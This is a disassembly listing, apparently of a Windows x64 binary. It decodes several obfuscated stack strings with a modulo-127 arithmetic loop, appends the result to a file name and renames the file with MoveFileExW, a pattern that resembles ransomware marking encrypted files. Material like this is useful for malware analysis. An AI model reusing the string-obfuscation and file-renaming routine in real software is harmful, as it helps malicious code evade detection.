mov byte [rbp + 0x1e0], 0x3c
mov byte [rbp + 0x1e1], 0x2e
mov byte [rbp + 0x1e2], 0x3c
mov byte [rbp + 0x1e3], 0x49
mov byte [rbp + 0x1e4], 0x3c
mov byte [rbp + 0x1e5], 0x2e
mov byte [rbp + 0x1e6], 0x3c
mov byte [rbp + 0x1e7], 0x14
mov byte [rbp + 0x1e8], 0x3c
mov byte [rbp + 0x1e9], 0x6c
mov byte [rbp + 0x1ea], 0x3c
mov byte [rbp + 0x1eb], 0x70
mov byte [rbp + 0x1ec], 0x3c
mov byte [rbp + 0x1ed], 0x3c
mov byte [rbp + 0x1ee], 0x3c
movzx eax, byte [rbp + 0x171]
movzx eax, byte [rbp + 0x170]
test al, al
jne 0x14002c24b
mov r9, rdi
nop word [rax + rax]
movzx ecx, byte [rbp + r9 + 0x171]
mov eax, 0x81020409
sub ecx, 0x3c
imul r8d, ecx, 0x22
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rbp + r9 + 0x171], r8b
inc r9
cmp r9, 0x7e
jb 0x14002c1f0
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, r14d
lea rcx, [rbp + 0x171]
mov r9d, eax
mov rdx, rsi
call fcn.14002abc0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x40], dil
mov byte [rsp + 0x41], 0x69
mov byte [rsp + 0x42], 0xd
mov byte [rsp + 0x43], 0x6d
mov byte [rsp + 0x44], 0xd
mov byte [rsp + 0x45], 0x7e
mov byte [rsp + 0x46], 0xd
mov byte [rsp + 0x47], 0x1a
mov byte [rsp + 0x48], 0xd
mov byte [rsp + 0x49], 0x1a
mov byte [rsp + 0x4a], 0xd
mov byte [rsp + 0x4b], 0x1a
mov byte [rsp + 0x4c], 0xd
mov byte [rsp + 0x4d], 0x1a
mov byte [rsp + 0x4e], 0xd
mov byte [rsp + 0x4f], 0xd
mov byte [rsp + 0x50], 0xd
movzx eax, byte [rsp + 0x41]
movzx eax, byte [rsp + 0x40]
test al, al
jne 0x14002c331
mov r8, rdi
nop word [rax + rax]
movzx ecx, byte [rsp + r8 + 0x41]
mov eax, 0xd
sub eax, ecx
imul ecx, eax, 0x3f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov eax, 0x81020409
add ecx, 0x7f
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x41], cl
inc r8
cmp r8, 0x10
jb 0x14002c2e0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x41]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [rax + 1]
add ecx, ebx
movsxd rcx, ecx
add rcx, rcx
call fcn.140031000
mov byte [rsp + 0x58], dil
mov r14, rax
mov byte [rsp + 0x59], 0x3d
mov byte [rsp + 0x5a], 0x24
mov byte [rsp + 0x5b], 0x28
mov byte [rsp + 0x5c], 0x24
mov byte [rsp + 0x5d], 0x2e
mov byte [rsp + 0x5e], 0x24
mov byte [rsp + 0x5f], 0x3f
mov byte [rsp + 0x60], 0x24
mov byte [rsp + 0x61], 0x3f
mov byte [rsp + 0x62], 0x24
mov byte [rsp + 0x63], 0x3f
mov byte [rsp + 0x64], 0x24
mov byte [rsp + 0x65], 0x3f
mov byte [rsp + 0x66], 0x24
mov byte [rsp + 0x67], 0x24
mov byte [rsp + 0x68], 0x24
movzx eax, byte [rsp + 0x59]
movzx eax, byte [rsp + 0x58]
test al, al
jne 0x14002c419
mov r9, rdi
movzx ecx, byte [rsp + r9 + 0x59]
mov eax, 0x81020409
sub ecx, 0x24
lea r8d, [rcx + rcx*2]
shl r8d, 2
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x59], r8b
inc r9
cmp r9, 0x10
jb 0x14002c3c0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x59]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [rax + 1]
add ecx, ebx
movsxd r8, ecx
mov rcx, r14
add r8, r8
call fcn.140030fc0
mov byte [rsp + 0x70], dil
mov byte [rsp + 0x71], 0x5c
mov byte [rsp + 0x72], 0x2d
mov byte [rsp + 0x73], 0x53
mov byte [rsp + 0x74], 0x2d
mov byte [rsp + 0x75], 0xd
mov byte [rsp + 0x76], 0x2d
mov byte [rsp + 0x77], 0x6f
mov byte [rsp + 0x78], 0x2d
mov byte [rsp + 0x79], 0x6f
mov byte [rsp + 0x7a], 0x2d
mov byte [rsp + 0x7b], 0x6f
mov byte [rsp + 0x7c], 0x2d
mov byte [rsp + 0x7d], 0x6f
mov byte [rsp + 0x7e], 0x2d
mov byte [rsp + 0x7f], 0x2d
mov byte [rbp - 0x80], 0x2d
movzx eax, byte [rsp + 0x71]
movzx eax, byte [rsp + 0x70]
test al, al
jne 0x14002c504
nop dword [rax]
nop dword [rax + rax]
movzx ecx, byte [rsp + rdi + 0x71]
mov eax, 0x81020409
sub ecx, 0x2d
imul r8d, ecx, 0x1c
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + rdi + 0x71], r8b
inc rdi
cmp rdi, 0x10
jb 0x14002c4b0
lea r9, [rsp + 0x71]
mov r8, rsi
lea rdx, str._s_s
mov rcx, r14
call qword [sym.imp.USER32.dll_wsprintfW]
mov r8d, 1
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
mov rcx, qword [0x140051d40]
mov r8, r14
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.140031880
mov rbx, qword [rsp + 0x370]
add rsp, 0x330
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret